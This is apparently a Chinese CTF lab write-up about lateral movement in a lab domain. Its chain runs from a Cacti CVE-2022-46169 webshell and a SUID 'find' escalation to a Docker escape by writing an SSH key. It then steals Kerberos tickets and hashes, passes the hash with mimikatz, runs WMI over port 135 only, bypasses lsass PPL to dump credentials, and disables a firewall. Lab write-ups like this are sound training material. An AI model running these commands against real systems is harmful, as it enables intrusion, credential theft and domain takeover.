域渗透-How2MoveLaterally

admin 2023年6月15日18:28:56评论78 views字数 6876阅读22分55秒阅读模式

团队靶场-How2MoveLaterally Write Up

介绍

本环境是 xbitsplatform 靶场平台的基础环境之一,主要考察横向移动的知识点。从 linux 外围打点开始,经历几次横向移动后最后获得域管权限

目前环境作为公开挑战已上线 xbitsplatform 靶场平台。

域渗透-How2MoveLaterally

知识点

  • • CVE-2022-46169
  • • suid 提权
  • • docker 特权模式逃逸
  • • 域内 linux 信息搜集
  • • linux 横向移动
  • • 域内低权限定位个人机
  • • 本地账户横向移动
  • • 域内横向移动
  • • wmi 端口受限绕过
  • • 内存保护 PPL 绕过

打点

扫描发现 cacti,版本为 1.2.22,疑似存在 CVE-2022-46169

域渗透-How2MoveLaterally

成功利用并写入一个 webshell

域渗透-How2MoveLaterally

没有开启 disable_function,gpc 等,直接执行命令就好:

域渗透-How2MoveLaterally

发现存在 dockerenv 文件,应该是 docker。经过一番信息搜集发现没有可以拓展的地方。

docker 逃逸

查看/dev 目录发现有很多文件:

域渗透-How2MoveLaterally

说明该 docker 是特权模式启动,存在逃逸的可能。

直接尝试挂载物理机磁盘,先查看以下磁盘:

域渗透-How2MoveLaterally

显示权限不足,想办法先提权。

查找 suid 文件:

find / -user root -perm -4000 -exec ls -ldb {} 

有比较特殊的文件 find:

域渗透-How2MoveLaterally

看一下怎么利用:

https://gtfobins.github.io/gtfobins/find/

域渗透-How2MoveLaterally

执行:

find . -exec /bin/sh -p -c whoami ; -quit

成功提权:

域渗透-How2MoveLaterally

通过 root 权限查看挂在磁盘:

find . -exec /bin/sh -p -c "mkdir /mnt/pwn" ; -quit
find . -exec /bin/sh -p -c mount /dev/dm-0 /mnt/pwn; -quit

会报错:

域渗透-How2MoveLaterally

这里的 root 权限是有限制的。但是我们在/mnt 目录下发现一个已经挂载目录,并且可以读取:

find . -exec /bin/sh -p -c 'ls /mnt/cacti' ; -quit

看起来就是物理机的磁盘,那么问题就转换成可以读写文件获取该 linux 权限了。

域渗透-How2MoveLaterally

这里采用写公钥的办法,首先生成一对公私钥:

域渗透-How2MoveLaterally

编码后写入 ssh 配置文件:

find . -exec /bin/sh -p -c 'echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkpRQUFBUUVBcDJTMHB4K012Y2F4UlZsZ0c1Yk5jb2M0RW1QZHd3dEhWT2h4UW5SMWYxVDUwUFArU0wzV1JDSG5HeXVnVkwweVJNak9pVHJLVVBmOGZkT2tqVDh5T1k1dndXSmVLM1ZKOXd4Zkx6UHZycmM5SkJTWVhwY1Z1eS9oMU5id2N6bGt5d2xNVjAxVytzUG4vNGxCZnlHOGtBcWUzMnVVdEp4UU9yVndlOW1Xak1IRzN3eHVOUk4rR3REK3EvRGJSZ0lMUjlTSWtWOG9hMzdONENaZVRXdkJ3RS9RWGZ3UFh5RlJVTVlKNkUxcXFHUVpadmhSMlhlWGpRTWdtODlEZVZFbVFOcnVVYzA4MWpkRnN3Mm9lUG1qbCtZaTkrZmdnSWdFSnlqUTdxc21RczFqUlNZclNkWnZnaEVILzB2Zm5VMGdYRUN5M0hTZm5Jd2RTcmFkeDNWcXZ3PT0gcnNhLWtleS0yMDIzMDQyNg== | base64 -d > /mnt/cacti/root/.ssh/authorized_keys' ; -quit

选择公钥后登录:

域渗透-How2MoveLaterally

登录成功:

域渗透-How2MoveLaterally

linux 域信息搜集

查看 dns,显然存在域,域控为 10.0.2.100:

域渗透-How2MoveLaterally

ping 一下,ttl 为 128,是 windows 域:

域渗透-How2MoveLaterally

查看具体的 ldap 配置,域为 move.lab:

域渗透-How2MoveLaterally

搜索 openldap 及 web 等目录寻找和域相关的信息:

grep -rn move.lab /etc
grep -rn move.lab /var/www/html
域渗透-How2MoveLaterally

几个文件看下来没有域凭据。但我们可以获得几个一些有效信息:

域名为 move.lab,域控机器 ip 为 10.0.0.100,存在域账户 linux_ldap 并可以登录当前的 linux。

如果我们可以拿到 linux_ldap 这个用户的身份可以先将域的 ldap 信息导出,在/tmp 目录下发现了 linux_ldap 用户缓存的票据:

域渗透-How2MoveLaterally

设置环境变量为这个票据:

[root@cacti tmp]# export KRB5CCNAME=/tmp/krb5cc_1680801105

使用 ldapsearch 导出信息

ldapsearch  -b "dc=move,dc=lab" -H ldap://10.0.2.100

显示认证失败:

域渗透-How2MoveLaterally

看来这些工具并不支持票据认证,使用 impacet 工具尝试,这里直接使用打包好的 elf 程序:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/linux_ldap -k  -no-pass -all
显示 ticket 暂时过期了

域渗透-How2MoveLaterally

通过一番查询发现可以通过一些其他的方式找到域凭据,比如从内存获取 linux_ldap 的票据,甚至可以获取到 linux 机器的机器 hash。尝试从从 krb5.keytab 获取机器 hash:

域渗透-How2MoveLaterally

这样我们就可以用这个机器的身份来搜集 ldap 信息:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/cacti$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0  -all

可以成功查询:

域渗透-How2MoveLaterally

但 impacket 对于 ldap 信息搜集的不全,只有枚举用户的功能。现在就转换成有一个机器和机器 hash(域凭据)的情况下如何获取 ldap 信息了。

本地 pth:

sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec

使用 Adfind 导出 ldap 信息:

域渗透-How2MoveLaterally

定位域用户机器

目前可以使用 linux_ldap 的身份做操作,查看 linux_ldap 用户信息:

dn:CN=linux_ldap,CN=Users,DC=move,DC=lab
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: linux_ldap
>distinguishedName: CN=linux_ldap,CN=Users,DC=move,DC=lab
>instanceType: 4
>whenCreated: 20230422140814.0Z
>whenChanged: 20230426144030.0Z
>uSNCreated: 12838
>memberOf: CN=IT admins,CN=Users,DC=move,DC=lab
>uSNChanged: 13727
>name: linux_ldap
>objectguid: {B1979F8F-42A9-4656-8F85-67827C2A8239}
>userAccountControl: 66048
>badPwdCount: 2
>codePage: 0
>countryCode: 0
>badPasswordTime: 133269901580757155
>lastLogoff: 0
>lastLogon: 133268853178838661
>pwdLastSet: 133266460945786222
>primaryGroupID: 513
>objectsid: S-1-5-21-1540577040-1432127714-718651653-1105
>accountExpires: 0
>logonCount: 3
>sAMAccountName: linux_ldap
>sAMAccountType: 805306368
>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=move,DC=lab
>dSCorePropagationData: 16010101000000.0Z
>lastLogonTimestamp: 133266470902405676

linux_ldap 为 IT admins 组成员,IT admins 不属于任何特权组。出现这种情况一般是 IT admins 为一些机器的本地管理员组成员,方便管理员管理机器,但在 AD 上没有特权。

我们需要知道 linux_ldap 能登哪台机器,最暴力的方式是直接进行认证,如 rdp/wmi/smb 等。这样在很多有防护的环境是比较危险的,会直接提示权限不足。

我们可以使用一些列 windows API 远程枚举出机器本地组的成员,效果和在机器上执行"net localgroup administrators"类似。

比如:

https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers

域渗透-How2MoveLaterally

好处是只需要能建立 smb 连接就可以使用,默认情况下普通域账户其实是可以登录任何一台域机器的,但不能通过 rdp 这样的方式远程登录。net use 这种可以认证通过,但进行 dir c:这样的操作会报 access deny。

比如:

域渗透-How2MoveLaterally

用这系列 api 可以避免触发 access deny,降低风险。

pth 后成功枚举出了一些机器的本地管理组:

域渗透-How2MoveLaterally

发现 IT admins 是 server01(10.0.2.199)的本地管理员组成员,我们可以通过已有的 linux_ldap 控制这台机器。

横向移动

过了一段时间我们看到 linux_ldap 用户有登录行为,

域渗透-How2MoveLaterally

票据应该有效了,直接使用 impacket 的工具 wmiexec 横向:

export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/[email protected] -k  -no-pass -dc-ip 10.0.2.10

报错:

域渗透-How2MoveLaterally

票据认证需要使用 FQDN 或者 NETbiosNAME:

export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/[email protected] -k  -no-pass -dc-ip 10.0.2.100

成功:

域渗透-How2MoveLaterally

抓内存发现没有域凭据,抓本地注册表,这里因为目标是 windows 系统,存在编码的问题,部分命令回显有问题,但可以正常执行:

域渗透-How2MoveLaterally

使用 smbclient 获取文件:

./smbclient_linux_x86_64 move.lab/[email protected] -k  -no-pass -dc-ip 10.0.2.100
域渗透-How2MoveLaterally

使用 mimikatz 解出注册表中的 hash:

域渗透-How2MoveLaterally

wmi 横向移动

现在有本地 administrator 账户的 hash,实战中可能有很多情况本地 administrator 账户的密码是一样的,比如虚拟机克隆、统一装机、组策略等情况。计划使用本地 administrator 进行横向移动。

查看 ldap 信息发现还有一台 windows server02:

域渗透-How2MoveLaterally

尝试横向移动:

./wmiexec_linux_x86_64 [email protected] -hashes  83cb8d375287916f79bbf0d29accc893:83cb8d375287916f79bbf0d29accc893 -no-pass -dc-ip 10.0.2.100

发现不成功,一直卡在界面,疑似端口不通。查看端口开放情况:

域渗透-How2MoveLaterally

发现只开通了 135,我们知道一般的 wmi 横向移动需要结合 135 端口的 dcom 和 445 端口的 smb 服务,wmiexec 的源码也验证了这一点:

域渗透-How2MoveLaterally

现在面临的问题就是在仅开放 135 端口的情况下如何进行横向移动。这里使用https://github.com/QAX-A-Team/sharpwmi

该工具主要是通过 rpc 协议操作注册表,将命令执行的结果写入注册表,之后读取注册表来代替使用 smb 的形式拿到回显:

域渗透-How2MoveLaterally

ExecCmd 实现远程调用 wmi:

域渗透-How2MoveLaterally

该工具支持 pth,需要和 mimikatz 结合使用,首先本机进行 pth:

privilege::debug
sekurlsa::pth /user:administrator /domain:server02 /ntlm:83cb8d375287916f79bbf0d29accc893

成功执行:

域渗透-How2MoveLaterally

抓取内存

查看 lsass 的 pid

域渗透-How2MoveLaterally

使用 Minudump 函数抓取内存:

powershell rundll32 C:windowssystem32comsvcs.dll, MiniDump 580 C:windowstemplsass.dmp full

其中","符号影响了命令执行:

域渗透-How2MoveLaterally

可以通过执行 bat 的形式绕过。使用 sharpwmi 自带的上传功能上传一个 bat:

sharpwmi.exe pth 10.0.2.105 upload 1.bat c:windowstemp1.bat

不报错但也没有文件生成:

域渗透-How2MoveLaterally

换一种 dump 方式,上传 LOLBins-procdump64.exe,上传时发现了 sharpwmi 上传有个 bug:

域渗透-How2MoveLaterally

传进去的是上一次上传的结果。可以对工具进行修改,这里笔者怕麻烦,使用远程下载的方式下载到机器上:

域渗透-How2MoveLaterally

执行依旧存在问题,看起来无法开启 lsass 进程,这种情况有几种可能,一是当前用户可能没有 SeDebugPrivilege 权限,另外一种可能是被杀软拦截了,其次就是可能开启了 PPL 保护机制。

首先确认存在 SeDebugPrivilege 权限:

域渗透-How2MoveLaterally

其次检查进程及驱动,未发现防护软件。

域渗透-How2MoveLaterally

查询注册表,果然开启了 PPL:

域渗透-How2MoveLaterally

绕过 ppl

这里直接尝试之前的文章《域渗透-一文了解lsass内存转储攻防技术》中的用户态技术,使用https://github.com/last-byte/RIPPL工具:

sharpwmi.exe pth 10.0.2.105 cmd "c:windowstempRIPPL.exe -D -f lsass.exe c:windowstemplsass.dmp"

成功导出:

域渗透-How2MoveLaterally

怎么拿 lsass 到本地是个问题,这里直接关闭该机器的防火墙,通过 smb 获取:

sharpwmi.exe pth 10.0.2.105 cmd "netsh advfirewall set domainprofile state off"
copy /z \10.0.2.105c$windowstemplsass.dmp
域渗透-How2MoveLaterally

通过 mimikatz 解析 dump 文件:

域渗透-How2MoveLaterally

获得 hash:

Administrator b9f21293575140357afceead26c3397

pth 后读取 flag:

域渗透-How2MoveLaterally

总结

本环境主要模拟了在实战环境的渗透测试流程,通过web打点进入主机,检测为Docker环境,之后逃逸发现在Linux中其中存在域环境,之后进行横向移动及一系列攻击手法,最后拿到flag。

参考

https://xz.aliyun.com/t/6888
https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/QAX-A-Team/sharpwmi
https://tttang.com/archive/1624/

https://www.alibabacloud.com/help/zh/nas/latest/mount-and-use-an-smb-file-system-on-a-linux-client-as-an-ad-domain-user
https://techglimpse.com/centos-yum-package-python-pip-error/
https://stackoverflow.com/questions/72270592/syntaxerror-when-pip-install-pip-def-readrel-path-str
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-active-directory.md

环境获取

本挑战为xbitsplatform公开环境,师傅可以直接通过 www.xbitsplatform.com 访问平台。同时环境中使用的工具,和该靶场相关笔记也会上传到知识星球。

原文始发于微信公众号(7bits安全团队):域渗透-How2MoveLaterally

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月15日18:28:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透-How2MoveLaterallyhttp://cn-sec.com/archives/1810575.html

发表评论

匿名网友 填写信息